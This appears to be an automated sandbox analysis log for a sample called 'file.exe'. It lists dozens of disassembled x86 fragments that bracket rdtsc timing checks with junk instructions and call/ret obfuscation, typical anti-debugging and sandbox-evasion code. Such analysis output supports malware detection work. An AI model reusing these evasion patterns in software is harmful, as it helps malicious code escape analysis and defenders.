Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C3380 second address: 2C3385 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C3385 second address: 2C341B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F625CED05B6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jmp 00007F625CED05C8h 0x00000014 jmp 00007F625CED05C1h 0x00000019 popad 0x0000001a nop 0x0000001b push 00000000h 0x0000001d push eax 0x0000001e call 00007F625CED05B8h 0x00000023 pop eax 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 add dword ptr [esp+04h], 00000015h 0x00000030 inc eax 0x00000031 push eax 0x00000032 ret 0x00000033 pop eax 0x00000034 ret 0x00000035 mov di, F0A4h 0x00000039 lea eax, dword ptr [ebp+12488174h] 0x0000003f push 00000000h 0x00000041 push esi 0x00000042 call 00007F625CED05B8h 0x00000047 pop esi 0x00000048 mov dword ptr [esp+04h], esi 0x0000004c add dword ptr [esp+04h], 0000001Ah 0x00000054 inc esi 0x00000055 push esi 0x00000056 ret 0x00000057 pop esi 0x00000058 ret 0x00000059 sub ch, 0000000Fh 0x0000005c mov dword ptr [ebp+1244C247h], edx 0x00000062 push eax 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 jnp 00007F625CED05B6h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C341B second address: 2A3ED6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F625CDF2466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jnp 00007F625CDF2466h 0x00000011 pop edi 0x00000012 popad 0x00000013 mov dword ptr [esp], eax 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F625CDF2468h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 mov dword ptr [ebp+124510EFh], ecx 0x00000036 stc 0x00000037 call dword ptr [ebp+122D1CFAh] 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push edi 0x00000042 pop edi 0x00000043 push ecx 0x00000044 pop ecx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C3640 second address: 2C3655 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F625CED05BCh 0x00000008 jl 00007F625CED05B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C3A86 second address: 2C3A8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C3A8A second address: 2C3AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 add dword ptr [esp], 358F7157h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F625CED05B8h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 call 00007F625CED05B9h 0x0000002d jc 00007F625CED05D5h 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C3AC7 second address: 2C3B13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF2477h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnc 00007F625CDF2470h 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007F625CDF2476h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C3B13 second address: 2C3B18 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C3B18 second address: 2C3B40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F625CDF2471h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 pushad 0x00000014 je 00007F625CDF2466h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C3B40 second address: 2C3B49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C3C26 second address: 2C3C5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF2478h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F625CDF2477h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C3ED8 second address: 2C3EE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push esi 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C3FE3 second address: 2C3FE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C3FE8 second address: 2C4004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F625CED05C0h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C4004 second address: 2C400A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C43A6 second address: 2C43DD instructions: 0x00000000 rdtsc 0x00000002 jp 00007F625CED05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e or dword ptr [ebp+122D1C17h], ebx 0x00000014 push 0000001Eh 0x00000016 mov edi, 0C019443h 0x0000001b nop 0x0000001c push ebx 0x0000001d pushad 0x0000001e ja 00007F625CED05B6h 0x00000024 jnp 00007F625CED05B6h 0x0000002a popad 0x0000002b pop ebx 0x0000002c push eax 0x0000002d pushad 0x0000002e pushad 0x0000002f pushad 0x00000030 popad 0x00000031 push edi 0x00000032 pop edi 0x00000033 popad 0x00000034 push ebx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C4673 second address: 2C46AC instructions: 0x00000000 rdtsc 0x00000002 jp 00007F625CDF247Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov ecx, edi 0x0000000f lea eax, dword ptr [ebp+124881B8h] 0x00000015 jmp 00007F625CDF246Ah 0x0000001a push eax 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C46AC second address: 2A4A55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F625CED05B8h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a or edi, 64663127h 0x00000030 lea eax, dword ptr [ebp+12488174h] 0x00000036 push 00000000h 0x00000038 push ecx 0x00000039 call 00007F625CED05B8h 0x0000003e pop ecx 0x0000003f mov dword ptr [esp+04h], ecx 0x00000043 add dword ptr [esp+04h], 0000001Ch 0x0000004b inc ecx 0x0000004c push ecx 0x0000004d ret 0x0000004e pop ecx 0x0000004f ret 0x00000050 jmp 00007F625CED05C9h 0x00000055 push eax 0x00000056 jp 00007F625CED05C0h 0x0000005c mov dword ptr [esp], eax 0x0000005f mov dword ptr [ebp+124764ECh], edi 0x00000065 call dword ptr [ebp+1245125Fh] 0x0000006b pushad 0x0000006c jmp 00007F625CED05BBh 0x00000071 push eax 0x00000072 push edx 0x00000073 pushad 0x00000074 popad 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F0DD1 second address: 2F0DD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F10C7 second address: 2F10CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F10CB second address: 2F10ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F625CDF246Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F625CDF246Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F10ED second address: 2F111B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05BCh 0x00000007 jl 00007F625CED05B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F625CED05C8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F111B second address: 2F1136 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F625CDF246Dh 0x00000008 jbe 00007F625CDF2466h 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F1272 second address: 2F127D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F625CED05B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F13AD second address: 2F13EB instructions: 0x00000000 rdtsc 0x00000002 jno 00007F625CDF2479h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F625CDF2478h 0x00000012 jbe 00007F625CDF2466h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F1561 second address: 2F1567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F71EA second address: 2F71F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F71F2 second address: 2F7201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jnl 00007F625CED05BEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F7201 second address: 2F721B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F625CDF2472h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F721B second address: 2F722E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F625CED05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jno 00007F625CED05B6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F722E second address: 2F7234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F7234 second address: 2F723F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F723F second address: 2F7243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F7243 second address: 2F7264 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05C5h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F7264 second address: 2F7268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F7268 second address: 2F726C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F726C second address: 2F7272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F7272 second address: 2F728C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F625CED05BCh 0x0000000c jc 00007F625CED05B6h 0x00000012 je 00007F625CED05BCh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F73A5 second address: 2F73B9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F625CDF2466h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007F625CDF246Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F73B9 second address: 2F73EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 js 00007F625CED05B6h 0x0000000b pop edx 0x0000000c popad 0x0000000d push ebx 0x0000000e pushad 0x0000000f jmp 00007F625CED05BAh 0x00000014 jmp 00007F625CED05C4h 0x00000019 push esi 0x0000001a pop esi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F7520 second address: 2F7545 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007F625CDF2473h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F7545 second address: 2F754B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F754B second address: 2F754F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F7812 second address: 2F7852 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 jns 00007F625CED05B6h 0x0000000b pop edx 0x0000000c jmp 00007F625CED05C9h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jg 00007F625CED05CEh 0x00000019 push ecx 0x0000001a jno 00007F625CED05B6h 0x00000020 pushad 0x00000021 popad 0x00000022 pop ecx 0x00000023 pushad 0x00000024 jbe 00007F625CED05B6h 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F7974 second address: 2F7978 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FDECC second address: 2FDF17 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F625CED05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007F625CED05C2h 0x00000010 pop ebx 0x00000011 pushad 0x00000012 push ebx 0x00000013 jmp 00007F625CED05C2h 0x00000018 jns 00007F625CED05B6h 0x0000001e pop ebx 0x0000001f pushad 0x00000020 push eax 0x00000021 pop eax 0x00000022 push edx 0x00000023 pop edx 0x00000024 je 00007F625CED05B6h 0x0000002a push eax 0x0000002b pop eax 0x0000002c popad 0x0000002d pushad 0x0000002e push ecx 0x0000002f pop ecx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 300D99 second address: 300D9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 300915 second address: 300951 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F625CED05C4h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F625CED05C2h 0x00000019 jbe 00007F625CED05B6h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 300951 second address: 300970 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F625CDF2479h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 300970 second address: 300974 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3052BA second address: 3052CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pushad 0x00000009 push ecx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 304A8F second address: 304A9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F625CED05B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 304A9B second address: 304AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F625CDF2466h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 304AAA second address: 304AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F625CED05C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 304AC2 second address: 304AC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 304C9D second address: 304CCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F625CED05C1h 0x0000000a jbe 00007F625CED05B6h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 jc 00007F625CED05B6h 0x0000001c pop esi 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 304CCA second address: 304CCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 304CCE second address: 304CD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 304CD2 second address: 304CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 304E1C second address: 304E22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 304E22 second address: 304E32 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F625CDF2478h 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30B817 second address: 30B822 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F625CED05B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C41AF second address: 2C41B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C41B4 second address: 2C4238 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F625CED05B6h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F625CED05C3h 0x00000014 nop 0x00000015 mov edi, dword ptr [ebp+122D29D2h] 0x0000001b add dword ptr [ebp+12476E89h], ecx 0x00000021 mov ebx, dword ptr [ebp+124881B3h] 0x00000027 push 00000000h 0x00000029 push ebp 0x0000002a call 00007F625CED05B8h 0x0000002f pop ebp 0x00000030 mov dword ptr [esp+04h], ebp 0x00000034 add dword ptr [esp+04h], 0000001Ch 0x0000003c inc ebp 0x0000003d push ebp 0x0000003e ret 0x0000003f pop ebp 0x00000040 ret 0x00000041 add eax, ebx 0x00000043 jmp 00007F625CED05BBh 0x00000048 mov cx, FFA6h 0x0000004c nop 0x0000004d js 00007F625CED05BEh 0x00000053 jns 00007F625CED05B8h 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c jbe 00007F625CED05B8h 0x00000062 push esi 0x00000063 pop esi 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C4238 second address: 2C425E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF246Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a add edi, dword ptr [ebp+122D1BF5h] 0x00000010 push 00000004h 0x00000012 mov cx, 3CA5h 0x00000016 nop 0x00000017 push edi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C425E second address: 2C4262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30AA88 second address: 30AA92 instructions: 0x00000000 rdtsc 0x00000002 je 00007F625CDF2466h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30E64D second address: 30E651 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30DFD1 second address: 30DFD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30DFD7 second address: 30DFF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F625CED05C4h 0x0000000c jno 00007F625CED05B6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30DFF8 second address: 30DFFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30DFFE second address: 30E004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30E004 second address: 30E016 instructions: 0x00000000 rdtsc 0x00000002 js 00007F625CDF246Ch 0x00000008 ja 00007F625CDF2466h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30E016 second address: 30E01A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31194C second address: 311951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 311951 second address: 31195D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F625CED05B6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 311A6A second address: 311AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F625CDF2479h 0x0000000a jmp 00007F625CDF2476h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 311BAF second address: 311BB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
